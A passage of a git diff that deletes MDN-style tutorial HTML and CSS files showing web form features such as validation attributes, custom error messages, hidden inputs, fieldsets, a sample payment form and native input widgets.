-        </style>
-    </head>
-
-    <body>
-        <form>
-            <div>
-                <label for="file">Choose file to upload</label>
-                <input type="file" id="file" name="file" multiple />
-            </div>
-            <div>
-                <button>Submit</button>
-            </div>
-        </form>
-        <script>
-            var test = document.querySelector('input');
-        </script>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/form-validation/custom-error-message.html b/docs/content/learning-area/html/forms/form-validation/custom-error-message.html
deleted file mode 100644
index aa2b0730eb..0000000000
--- a/docs/content/learning-area/html/forms/form-validation/custom-error-message.html
+++ /dev/null
@@ -1,36 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Simple custom error message</title>
-        <style>
-            input:invalid {
-                border: 2px dashed red;
-            }
-
-            input:valid {
-                border: 2px solid black;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <label for="mail">I would like you to provide me with an e-mail address:</label>
-            <input type="email" id="mail" name="mail" />
-            <button>Submit</button>
-        </form>
-
-        <script>
-            const email = document.getElementById('mail');
-
-            email.addEventListener('input', function (event) {
-                if (email.validity.typeMismatch) {
-                    email.setCustomValidity('I am expecting an e-mail address!');
-                } else {
-                    email.setCustomValidity('');
-                }
-            });
-        </script>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/form-validation/detailed-custom-validation.html b/docs/content/learning-area/html/forms/form-validation/detailed-custom-validation.html
deleted file mode 100644
index e02b46e9d6..0000000000
--- a/docs/content/learning-area/html/forms/form-validation/detailed-custom-validation.html
+++ /dev/null
@@ -1,127 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Detailed custom validation</title>
-        <style>
-            body {
-                font: 1em sans-serif;
-                width: 200px;
-                padding: 0;
-                margin: 0 auto;
-            }
-
-            p * {
-                display: block;
-            }
-
-            input[type='email'] {
-                -webkit-appearance: none;
-                appearance: none;
-
-                width: 100%;
-                border: 1px solid #333;
-                margin: 0;
-
-                font-family: inherit;
-                font-size: 90%;
-
-                box-sizing: border-box;
-            }
-
-            /* This is our style for the invalid fields */
-            input:invalid {
-                border-color: #900;
-                background-color: #fdd;
-            }
-
-            input:focus:invalid {
-                outline: none;
-            }
-
-            /* This is the style of our error messages */
-            .error {
-                width: 100%;
-                padding: 0;
-
-                font-size: 80%;
-                color: white;
-                background-color: #900;
-                border-radius: 0 0 5px 5px;
-
-                box-sizing: border-box;
-            }
-
-            .error.active {
-                padding: 0.3em;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form novalidate>
-            <p>
-                <label for="mail">
-                    <span>Please enter an email address:</span>
-                    <input type="email" id="mail" name="mail" required minlength="8" />
-                    <span class="error" aria-live="polite"></span>
-                </label>
-            </p>
-            <button>Submit</button>
-        </form>
-
-        <script>
-            // There are many ways to pick a DOM node; here we get the form itself and the email
-            // input box, as well as the span element into which we will place the error message.
-            const form = document.getElementsByTagName('form')[0];
-
-            const email = document.getElementById('mail');
-            const emailError = document.querySelector('#mail + span.error');
-
-            email.addEventListener('input', function (event) {
-                // Each time the user types something, we check if the
-                // form fields are valid.
-
-                if (email.validity.valid) {
-                    // In case there is an error message visible, if the field
-                    // is valid, we remove the error message.
-                    emailError.innerHTML = ''; // Reset the content of the message
-                    emailError.className = 'error'; // Reset the visual state of the message
-                } else {
-                    // If there is still an error, show the correct error
-                    showError();
-                }
-            });
-
-            form.addEventListener('submit', function (event) {
-                // if the form contains valid data, we let it submit
-
-                if (!email.validity.valid) {
-                    // If it isn't, we display an appropriate error message
-                    showError();
-                    // Then we prevent the form from being sent by canceling the event
-                    event.preventDefault();
-                }
-            });
-
-            function showError() {
-                if (email.validity.valueMissing) {
-                    // If the field is empty
-                    // display the following error message.
-                    emailError.textContent = 'You need to enter an e-mail address.';
-                } else if (email.validity.typeMismatch) {
-                    // If the field doesn't contain an email address
-                    // display the following error message.
-                    emailError.textContent = 'Entered value needs to be an e-mail address.';
-                } else if (email.validity.tooShort) {
-                    // If the data is too short
-                    // display the following error message.
-                    emailError.textContent = `Email should be at least ${email.minLength} characters; you entered ${email.value.length}.`;
-                }
-
-                // Set the styling appropriately
-                emailError.className = 'error active';
-            }
-        </script>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/form-validation/fruit-length.html b/docs/content/learning-area/html/forms/form-validation/fruit-length.html
deleted file mode 100644
index 2e8d46f9c7..0000000000
--- a/docs/content/learning-area/html/forms/form-validation/fruit-length.html
+++ /dev/null
@@ -1,36 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Favorite fruit length constraint</title>
-        <style>
-            input:invalid {
-                border: 2px dashed red;
-            }
-
-            input:valid {
-                border: 2px solid black;
-            }
-
-            div {
-                margin-bottom: 10px;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <div>
-                <label for="choose">Would you prefer a banana or a cherry?</label>
-                <input id="choose" name="i_like" required minlength="6" maxlength="6" />
-            </div>
-            <div>
-                <label for="number">How many would you like?</label>
-                <input type="number" id="number" name="amount" value="1" min="1" max="10" />
-            </div>
-            <div>
-                <button>Submit</button>
-            </div>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/form-validation/fruit-pattern.html b/docs/content/learning-area/html/forms/form-validation/fruit-pattern.html
deleted file mode 100644
index e83c93f9d3..0000000000
--- a/docs/content/learning-area/html/forms/form-validation/fruit-pattern.html
+++ /dev/null
@@ -1,24 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Favorite fruit with required and pattern attributes</title>
-        <style>
-            input:invalid {
-                border: 2px dashed red;
-            }
-
-            input:valid {
-                border: 2px solid black;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <label for="choose">Would you prefer a banana or a cherry?</label>
-            <input id="choose" name="i_like" required pattern="[Bb]anana|[Cc]herry" />
-            <button>Submit</button>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/form-validation/fruit-required.html b/docs/content/learning-area/html/forms/form-validation/fruit-required.html
deleted file mode 100644
index 306bc4cdc1..0000000000
--- a/docs/content/learning-area/html/forms/form-validation/fruit-required.html
+++ /dev/null
@@ -1,28 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Favorite fruit with required attribute</title>
-        <style>
-            input:invalid {
-                border: 2px dashed red;
-            }
-
-            input:invalid:required {
-                background-image: linear-gradient(to right, pink, lightgreen);
-            }
-
-            input:valid {
-                border: 2px solid black;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <label for="choose">Would you prefer a banana or a cherry?</label>
-            <input id="choose" name="i_like" required />
-            <button>Submit</button>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/form-validation/fruit-start.html b/docs/content/learning-area/html/forms/form-validation/fruit-start.html
deleted file mode 100644
index c352fb266f..0000000000
--- a/docs/content/learning-area/html/forms/form-validation/fruit-start.html
+++ /dev/null
@@ -1,24 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Favorite fruit start</title>
-        <style>
-            input:invalid {
-                border: 2px dashed red;
-            }
-
-            input:valid {
-                border: 2px solid black;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <label for="choose">Would you prefer a banana or a cherry?</label>
-            <input id="choose" name="i_like" />
-            <button>Submit</button>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/form-validation/full-example.html b/docs/content/learning-area/html/forms/form-validation/full-example.html
deleted file mode 100644
index 2642bd151f..0000000000
--- a/docs/content/learning-area/html/forms/form-validation/full-example.html
+++ /dev/null
@@ -1,88 +0,0 @@
-<!DOCTYPE html>
-<html>
-
-<head>
-  <meta charset="utf-8">
-  <title>Full built-in validation example</title>
-  <style>
-    form {
-      font: 1em sans-serif;
-      max-width: 320px;
-    }
-
-    p>label {
-      display: block;
-    }
-
-    input[type="text"],
-    input[type="email"],
-    input[type="number"],
-    textarea,
-    fieldset {
-      width: 100%;
-      border: 1px solid #333;
-      box-sizing: border-box;
-    }
-
-    input:invalid {
-      box-shadow: 0 0 5px 1px red;
-    }
-
-    input:focus:invalid {
-      box-shadow: none;
-    }
-
-  </style>
-</head>
-
-<body>
-  <form>
-    <p>
-      <fieldset>
-        <legend>Do you have a driver's license?<abbr title="This field is mandatory" aria-label="required">*</abbr>
-        </legend>
-        <!-- While only one radio button in a same-named group can be selected at a time,
-             and therefore only one radio button in a same-named group having the "required"
-             attribute suffices in making a selection a requirement -->
-        <input type="radio" required name="driver" id="r1" value="yes"><label for="r1">Yes</label>
-        <input type="radio" required name="driver" id="r2" value="no"><label for="r2">No</label>
-      </fieldset>
-    </p>
-    <p>
-      <label for="n1">How old are you?</label>
-      <!-- The pattern attribute can act as a fallback for browsers which
-           don't implement the number input type but support the pattern attribute.
-           Please note that browsers that support the pattern attribute will make it
-           fail silently when used with a number field.
-           Its usage here acts only as a fallback -->
-      <input type="number" min="12" max="120" step="1" id="n1" name="age" pattern="\d+">
-    </p>
-    <p>
-      <label for="t1">What's your favorite fruit?<abbr title="This field is mandatory"
-          aria-label="required">*</abbr></label>
-      <input type="text" id="t1" name="fruit" list="l1" required
-        pattern="[Bb]anana|[Cc]herry|[Aa]pple|[Ss]trawberry|[Ll]emon|[Oo]range">
-      <datalist id="l1">
-        <option>Banana</option>
-        <option>Cherry</option>
-        <option>Apple</option>
-        <option>Strawberry</option>
-        <option>Lemon</option>
-        <option>Orange</option>
-      </datalist>
-    </p>
-    <p>
-      <label for="t2">What's your e-mail address?</label>
-      <input type="email" id="t2" name="email">
-    </p>
-    <p>
-      <label for="t3">Leave a short message</label>
-      <textarea id="t3" name="msg" maxlength="140" rows="5"></textarea>
-    </p>
-    <p>
-      <button>Submit</button>
-    </p>
-  </form>
-</body>
-
-</html>
diff --git a/docs/content/learning-area/html/forms/form-validation/min-max.html b/docs/content/learning-area/html/forms/form-validation/min-max.html
deleted file mode 100644
index c9b3281fdd..0000000000
--- a/docs/content/learning-area/html/forms/form-validation/min-max.html
+++ /dev/null
@@ -1,32 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Minimum and maximum examples</title>
-        <style>
-            input:invalid {
-                border: 2px dashed red;
-            }
-
-            input:valid {
-                border: 2px solid black;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <p>
-                <label for="n1">How old are you?</label>
-                <input type="number" id="n1" name="age" pattern="\d+" min="12" max="120" />
-            </p>
-            <p>
-                <label for="t3">Leave a short message</label>
-                <textarea id="t3" name="msg" rows="5" maxlength="10"></textarea>
-            </p>
-            <p>
-                <button>Submit</button>
-            </p>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/hidden-input-example/index.html b/docs/content/learning-area/html/forms/hidden-input-example/index.html
deleted file mode 100644
index 6a86de4b84..0000000000
--- a/docs/content/learning-area/html/forms/hidden-input-example/index.html
+++ /dev/null
@@ -1,60 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>&lt;input type="hidden"&gt; example</title>
-        <style>
-            html {
-                font-family: sans-serif;
-            }
-
-            form {
-                width: 500px;
-            }
-
-            div {
-                display: flex;
-                margin-bottom: 10px;
-            }
-
-            label {
-                flex: 2;
-                line-height: 2;
-                text-align: right;
-                padding-right: 20px;
-            }
-
-            input,
-            textarea {
-                flex: 7;
-                font-family: sans-serif;
-                font-size: 1.1rem;
-                padding: 5px;
-            }
-
-            textarea {
-                height: 60px;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <div>
-                <label for="title">Post title:</label>
-                <input type="text" id="title" name="title" value="My excellent blog post" />
-            </div>
-            <div>
-                <label for="content">Post content:</label>
-                <textarea id="content" name="content">
-This is the content of my excellent blog post. I hope you enjoy it!
-      </textarea
-                >
-            </div>
-            <div>
-                <button type="submit">Update post</button>
-            </div>
-            <input type="hidden" id="postId" name="postId" value="34657" />
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/html-form-structure/checkbox-label.html b/docs/content/learning-area/html/forms/html-form-structure/checkbox-label.html
deleted file mode 100644
index 47fad09dd6..0000000000
--- a/docs/content/learning-area/html/forms/html-form-structure/checkbox-label.html
+++ /dev/null
@@ -1,20 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Checkbox label example</title>
-    </head>
-
-    <body>
-        <form>
-            <p>
-                <input type="checkbox" id="taste_1" name="taste_cherry" value="cherry" />
-                <label for="taste_1">I like cherry</label>
-            </p>
-            <p>
-                <input type="checkbox" id="taste_2" name="taste_banana" value="banana" />
-                <label for="taste_2">I like banana</label>
-            </p>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/html-form-structure/fieldset-legend.html b/docs/content/learning-area/html/forms/html-form-structure/fieldset-legend.html
deleted file mode 100644
index 72bc859983..0000000000
--- a/docs/content/learning-area/html/forms/html-form-structure/fieldset-legend.html
+++ /dev/null
@@ -1,18 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>fieldset and legend example</title>
-    </head>
-
-    <body>
-        <form>
-            <fieldset>
-                <legend>Fruit juice size</legend>
-                <p><input type="radio" name="size" id="size_1" value="small" /> <label for="size_1">Small</label></p>
-                <p><input type="radio" name="size" id="size_2" value="medium" /> <label for="size_2">Medium</label></p>
-                <p><input type="radio" name="size" id="size_3" value="large" /> <label for="size_3">Large</label></p>
-            </fieldset>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/html-form-structure/payment-form.css b/docs/content/learning-area/html/forms/html-form-structure/payment-form.css
deleted file mode 100644
index 1dc7c37d5f..0000000000
--- a/docs/content/learning-area/html/forms/html-form-structure/payment-form.css
+++ /dev/null
@@ -1,67 +0,0 @@
-h1 {
-    margin-top: 0;
-}
-
-ul {
-    margin: 0;
-    padding: 0;
-    list-style: none;
-}
-
-form {
-    margin: 0 auto;
-    width: 400px;
-    padding: 1em;
-    border: 1px solid #ccc;
-    border-radius: 1em;
-}
-
-div + div {
-    margin-top: 1em;
-}
-
-label span {
-    display: inline-block;
-    width: 120px;
-    text-align: right;
-}
-
-input,
-textarea {
-    font: 1em sans-serif;
-    width: 250px;
-    box-sizing: border-box;
-    border: 1px solid #999;
-}
-
-input[type='checkbox'],
-input[type='radio'] {
-    width: auto;
-    border: none;
-}
-
-input:focus,
-textarea:focus {
-    border-color: #000;
-}
-
-textarea {
-    vertical-align: top;
-    height: 5em;
-    resize: vertical;
-}
-
-fieldset {
-    width: 250px;
-    box-sizing: border-box;
-    margin-left: 136px;
-    border: 1px solid #999;
-}
-
-button {
-    margin: 20px 0 0 124px;
-}
-
-label {
-    position: relative;
-}
diff --git a/docs/content/learning-area/html/forms/html-form-structure/payment-form.html b/docs/content/learning-area/html/forms/html-form-structure/payment-form.html
deleted file mode 100644
index 3abd8caa33..0000000000
--- a/docs/content/learning-area/html/forms/html-form-structure/payment-form.html
+++ /dev/null
@@ -1,95 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Payment form example</title>
-        <link href="payment-form.css" rel="stylesheet" />
-    </head>
-
-    <body>
-        <form method="post">
-            <h1>Payment form</h1>
-            <p>
-                Required fields are followed by <strong><abbr title="required">*</abbr></strong
-                >.
-            </p>
-            <section>
-                <h2>Contact information</h2>
-                <fieldset>
-                    <legend>Title</legend>
-                    <ul>
-                        <li>
-                            <label for="title_1">
-                                <input type="radio" id="title_1" name="title" value="A" />
-                                Ace
-                            </label>
-                        </li>
-                        <li>
-                            <label for="title_2">
-                                <input type="radio" id="title_2" name="title" value="K" />
-                                King
-                            </label>
-                        </li>
-                        <li>
-                            <label for="title_3">
-                                <input type="radio" id="title_3" name="title" value="Q" />
-                                Queen
-                            </label>
-                        </li>
-                    </ul>
-                </fieldset>
-                <p>
-                    <label for="name">
-                        <span>Name: </span>
-                        <strong><abbr title="required">*</abbr></strong>
-                    </label>
-                    <input type="text" id="name" name="username" />
-                </p>
-                <p>
-                    <label for="mail">
-                        <span>E-mail: </span>
-                        <strong><abbr title="required">*</abbr></strong>
-                    </label>
-                    <input type="email" id="mail" name="usermail" />
-                </p>
-                <p>
-                    <label for="pwd">
-                        <span>Password: </span>
-                        <strong><abbr title="required">*</abbr></strong>
-                    </label>
-                    <input type="password" id="pwd" name="password" />
-                </p>
-            </section>
-            <section>
-                <h2>Payment information</h2>
-                <p>
-                    <label for="card">
-                        <span>Card type:</span>
-                    </label>
-                    <select id="card" name="usercard">
-                        <option value="visa">Visa</option>
-                        <option value="mc">Mastercard</option>
-                        <option value="amex">American Express</option>
-                    </select>
-                </p>
-                <p>
-                    <label for="number">
-                        <span>Card number:</span>
-                        <strong><abbr title="required">*</abbr></strong>
-                    </label>
-                    <input type="tel" id="number" name="cardnumber" />
-                </p>
-                <p>
-                    <label for="expiration">
-                        <span>Expiration date:</span>
-                        <strong><abbr title="required">*</abbr></strong>
-                    </label>
-                    <input type="text" id="expiration" required="true" placeholder="MM/YY" pattern="^(0[1-9]|1[0-2])\/([0-9]{2})$" />
-                </p>
-            </section>
-            <section>
-                <p><button type="submit">Validate the payment</button></p>
-            </section>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/html-form-structure/required-labels.html b/docs/content/learning-area/html/forms/html-form-structure/required-labels.html
deleted file mode 100644
index f672f5778a..0000000000
--- a/docs/content/learning-area/html/forms/html-form-structure/required-labels.html
+++ /dev/null
@@ -1,35 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Required label examples</title>
-    </head>
-
-    <body>
-        <form>
-            <p>Required fields are followed by <abbr title="required">*</abbr>.</p>
-
-            <!-- So this: -->
-            <!--<div>
-          <label for="username">Name:</label>
-          <input type="text" name="username">
-          <label for="username"><abbr title="required">*</abbr></label>
-        </div>-->
-
-            <!-- would be better done like this: -->
-            <!--<div>
-          <label for="username">
-            <span>Name:</span>
-            <input id="username" type="text" name="username">
-            <abbr title="required">*</abbr>
-          </label>
-        </div>-->
-
-            <!-- But this is probably best: -->
-            <div>
-                <label for="username">Name: <abbr title="required">*</abbr></label>
-                <input id="username" type="text" name="username" />
-            </div>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/image-type-example/colors-original.png b/docs/content/learning-area/html/forms/image-type-example/colors-original.png
deleted file mode 100644
index 18fa5aa7ea..0000000000
Binary files a/docs/content/learning-area/html/forms/image-type-example/colors-original.png and /dev/null differ
diff --git a/docs/content/learning-area/html/forms/image-type-example/colors.png b/docs/content/learning-area/html/forms/image-type-example/colors.png
deleted file mode 100644
index 33a03e4b59..0000000000
Binary files a/docs/content/learning-area/html/forms/image-type-example/colors.png and /dev/null differ
diff --git a/docs/content/learning-area/html/forms/image-type-example/index.html b/docs/content/learning-area/html/forms/image-type-example/index.html
deleted file mode 100644
index f84fd9dc20..0000000000
--- a/docs/content/learning-area/html/forms/image-type-example/index.html
+++ /dev/null
@@ -1,36 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>&lt;input type="image"&gt; example</title>
-        <style>
-            div {
-                margin-bottom: 10px;
-            }
-
-            label {
-                display: inline-block;
-                width: 70px;
-                text-align: right;
-                padding-right: 10px;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <p>Login to your account</p>
-            <div>
-                <label for="userId">User ID</label>
-                <input type="text" id="userId" name="userId" />
-            </div>
-            <div>
-                <label for="pwd">Password</label>
-                <input type="password" id="pwd" name="pwd" />
-            </div>
-            <div>
-                <input id="image" type="image" src="login.png" alt="login button" width="100" />
-            </div>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/image-type-example/login-original.png b/docs/content/learning-area/html/forms/image-type-example/login-original.png
deleted file mode 100644
index c3a71120ca..0000000000
Binary files a/docs/content/learning-area/html/forms/image-type-example/login-original.png and /dev/null differ
diff --git a/docs/content/learning-area/html/forms/image-type-example/login.png b/docs/content/learning-area/html/forms/image-type-example/login.png
deleted file mode 100644
index fd9c3a5c7c..0000000000
Binary files a/docs/content/learning-area/html/forms/image-type-example/login.png and /dev/null differ
diff --git a/docs/content/learning-area/html/forms/image-type-example/xy-coordinates-example.html b/docs/content/learning-area/html/forms/image-type-example/xy-coordinates-example.html
deleted file mode 100644
index 63a30e1a5b..0000000000
--- a/docs/content/learning-area/html/forms/image-type-example/xy-coordinates-example.html
+++ /dev/null
@@ -1,28 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>X Y coordinates example</title>
-        <style>
-            div {
-                margin-bottom: 10px;
-            }
-
-            label {
-                display: inline-block;
-                width: 70px;
-                text-align: right;
-                padding-right: 10px;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <p>Choose your favourite color</p>
-            <div>
-                <input id="image" type="image" src="colors.png" alt="image of four colored squares" />
-            </div>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/indeterminate-example/index.html b/docs/content/learning-area/html/forms/indeterminate-example/index.html
deleted file mode 100644
index ec12206064..0000000000
--- a/docs/content/learning-area/html/forms/indeterminate-example/index.html
+++ /dev/null
@@ -1,65 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>callback test</title>
-    </head>
-
-    <body>
-        <form>
-            <fieldset>
-                <legend>Complete the recipe</legend>
-                <div>
-                    <input type="checkbox" id="EnchTbl" name="EnchTbl" />
-                    <label for="EnchTbl">Enchantment table</label>
-                    <ul>
-                        <li>
-                            <input type="checkbox" id="book" name="ingredient" value="book" />
-                            <label for="book">Book</label>
-                        </li>
-                        <li>
-                            <input type="checkbox" id="diamonds" name="ingredient" value="diamonds" />
-                            <label for="diamonds">Diamonds (x2)</label>
-                        </li>
-                        <li>
-                            <input type="checkbox" id="obsidian" name="ingredient" value="obsidian" />
-                            <label for="obsidian">Obsidian (x4)</label>
-                        </li>
-                    </ul>
-                </div>
-            </fieldset>
-        </form>
-        <script>
-            var overall = document.querySelector('input[id="EnchTbl"]');
-            var ingredients = document.querySelectorAll('ul input');
-
-            overall.addEventListener('click', function (e) {
-                e.preventDefault();
-            });
-
-            for (var i = 0; i < ingredients.length; i++) {
-                ingredients[i].addEventListener('click', updateDisplay);
-            }
-
-            function updateDisplay() {
-                var checkedCount = 0;
-                for (var i = 0; i < ingredients.length; i++) {
-                    if (ingredients[i].checked) {
-                        checkedCount++;
-                    }
-                }
-
-                if (checkedCount === 0) {
-                    overall.checked = false;
-                    overall.indeterminate = false;
-                } else if (checkedCount === ingredients.length) {
-                    overall.checked = true;
-                    overall.indeterminate = false;
-                } else {
-                    overall.checked = false;
-                    overall.indeterminate = true;
-                }
-            }
-        </script>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/month-examples/month-validation.html b/docs/content/learning-area/html/forms/month-examples/month-validation.html
deleted file mode 100644
index 3fd2a0f9f0..0000000000
--- a/docs/content/learning-area/html/forms/month-examples/month-validation.html
+++ /dev/null
@@ -1,46 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Month example</title>
-        <style>
-            div {
-                margin-bottom: 10px;
-                position: relative;
-            }
-
-            input[type='number'] {
-                width: 100px;
-            }
-
-            input + span {
-                padding-right: 30px;
-            }
-
-            input:invalid + span:after {
-                position: absolute;
-                content: '✖';
-                padding-left: 5px;
-            }
-
-            input:valid + span:after {
-                position: absolute;
-                content: '✓';
-                padding-left: 5px;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <div>
-                <label for="month">What Month would you like to visit us? (Summer months only.)</label>
-                <input id="month" type="month" name="month" min="2017-06" max="2017-09" required />
-                <span class="validity"></span>
-            </div>
-            <div>
-                <input type="submit" value="Submit form" />
-            </div>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/native-form-widgets/advanced-examples.html b/docs/content/learning-area/html/forms/native-form-widgets/advanced-examples.html
deleted file mode 100644
index c88bec242f..0000000000
--- a/docs/content/learning-area/html/forms/native-form-widgets/advanced-examples.html
+++ /dev/null
@@ -1,51 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Advanced examples</title>
-    </head>
-
-    <body>
-        <form>
-            <p>
-                <label for="age">What is your age?</label>
-                <input type="number" name="age" id="age" min="1" max="10" step="2" />
-            </p>
-            <p>
-                <label for="beans">How many beans can you eat?</label>
-                <input type="range" name="beans" id="beans" min="0" max="500" step="10" />
-                <span class="beancount"></span>
-            </p>
-            <p>
-                <label for="myDate">When are you available this summer?</label>
-                <input type="date" name="myDate" min="2013-06-01" max="2013-08-31" id="myDate" />
-            </p>
-            <p>
-                <label for="meet">When shall we have the meeting?</label>
-                <input type="datetime-local" name="meet" id="meet" />
-            </p>
-            <p>
-                <label for="month">What month is your favorite?</label>
-                <input type="month" name="month" id="month" />
-            </p>
-            <p>
-                <label for="time">Set the time for your wifi fridge</label>
-                <input type="time" name="time" id="time" />
-            </p>
-            <p>
-                <label for="color">What is your favourite color?</label>
-                <input type="color" name="color" id="color" />
-            </p>
-        </form>
-        <script>
-            var beans = document.querySelector('#beans');
-            var count = document.querySelector('.beancount');
-
-            count.textContent = beans.value;
-
-            beans.oninput = function () {
-                count.textContent = beans.value;
-            };
-        </script>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/native-form-widgets/button-examples.html b/docs/content/learning-area/html/forms/native-form-widgets/button-examples.html
deleted file mode 100644
index 3c67186441..0000000000
--- a/docs/content/learning-area/html/forms/native-form-widgets/button-examples.html
+++ /dev/null
@@ -1,30 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Button examples</title>
-    </head>
-
-    <body>
-        <form>
-            <p>
-                <button type="submit">This a <br /><strong>submit button</strong></button>
-            </p>
-            <p>
-                <input type="submit" value="This is a submit button" />
-            </p>
-            <p>
-                <button type="reset">This a <br /><strong>reset button</strong></button>
-            </p>
-            <p>
-                <input type="reset" value="This is a reset button" />
-            </p>
-            <p>
-                <button type="button">This an <br /><strong>anonymous button</strong></button>
-            </p>
-            <p>
-                <input type="button" value="This is an anonymous button" />
-            </p>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/native-form-widgets/checkable-items.html b/docs/content/learning-area/html/forms/native-form-widgets/checkable-items.html
deleted file mode 100644
index 7ba110f652..0000000000
--- a/docs/content/learning-area/html/forms/native-form-widgets/checkable-items.html
+++ /dev/null
@@ -1,62 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Checkable items examples</title>
-    </head>
-
-    <body>
-        <form>
-            <fieldset>
-                <legend>Choose all the vegetables you like to eat</legend>
-                <ul>
-                    <li>
-                        <label for="carrots">Carrots</label>
-                        <input type="checkbox" checked id="carrots" name="vegetable" value="carrots" />
-                    </li>
-                    <li>
-                        <label for="peas">Peas</label>
-                        <input type="checkbox" id="peas" name="vegetable" value="peas" />
-                    </li>
-                    <li>
-                        <label for="cabbage">Cabbage</label>
-                        <input type="checkbox" id="cabbage" name="vegetable" value="cabbage" />
-                    </li>
-                    <li>
-                        <label for="cauli">Cauliflower</label>
-                        <input type="checkbox" id="cauli" name="vegetable" value="cauli" />
-                    </li>
-                    <li>
-                        <label for="broc">Broccoli</label>
-                        <input type="checkbox" id="broc" name="vegetable" value="broc" />
-                    </li>
-                </ul>
-            </fieldset>
-            <fieldset>
-                <legend>What is your favorite meal?</legend>
-                <ul>
-                    <li>
-                        <label for="soup">Soup</label>
-                        <input type="radio" checked id="soup" name="meal" value="soup" />
-                    </li>
-                    <li>
-                        <label for="curry">Curry</label>
-                        <input type="radio" id="curry" name="meal" value="curry" />
-                    </li>
-                    <li>
-                        <label for="pizza">Pizza</label>
-                        <input type="radio" id="pizza" name="meal" value="pizza" />
-                    </li>
-                    <li>
-                        <label for="tacos">Tacos</label>
-                        <input type="radio" id="tacos" name="meal" value="tacos" />
-                    </li>
-                    <li>
-                        <label for="bolognaise">Bolognaise</label>
-                        <input type="radio" id="bolognaise" name="meal" value="bolognaise" />
-                    </li>
-                </ul>
-            </fieldset>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/native-form-widgets/drop-down-content.html b/docs/content/learning-area/html/forms/native-form-widgets/drop-down-content.html
deleted file mode 100644
index d151c3d46f..0000000000
--- a/docs/content/learning-area/html/forms/native-form-widgets/drop-down-content.html
+++ /dev/null
@@ -1,77 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Drop down content examples</title>
-    </head>
-
-    <body>
-        <form>
-            <p>
-                <label for="simple">A simple select box:</label>
-                <select id="simple" name="simple">
-                    <option>Banana</option>
-                    <option>Cherry</option>
-                    <option>Lemon</option>
-                </select>
-            </p>
-            <p>
-                <label for="groups">Select box with option groups:</label>
-                <select id="groups" name="groups">
-                    <optgroup label="fruits">
-                        <option>Banana</option>
-                        <option selected>Cherry</option>
-                        <option>Lemon</option>
-                    </optgroup>
-                    <optgroup label="vegetables">
-                        <option>Carrot</option>
-                        <option>Eggplant</option>
-                        <option>Potato</option>
-                    </optgroup>
-                </select>
-            </p>
-            <p>
-                <label for="multi">Select box allowing multiple selections:</label>
-                <select multiple id="multi" name="multi">
-                    <option>Banana</option>
-                    <option>Cherry</option>
-                    <option>Lemon</option>
-                </select>
-            </p>
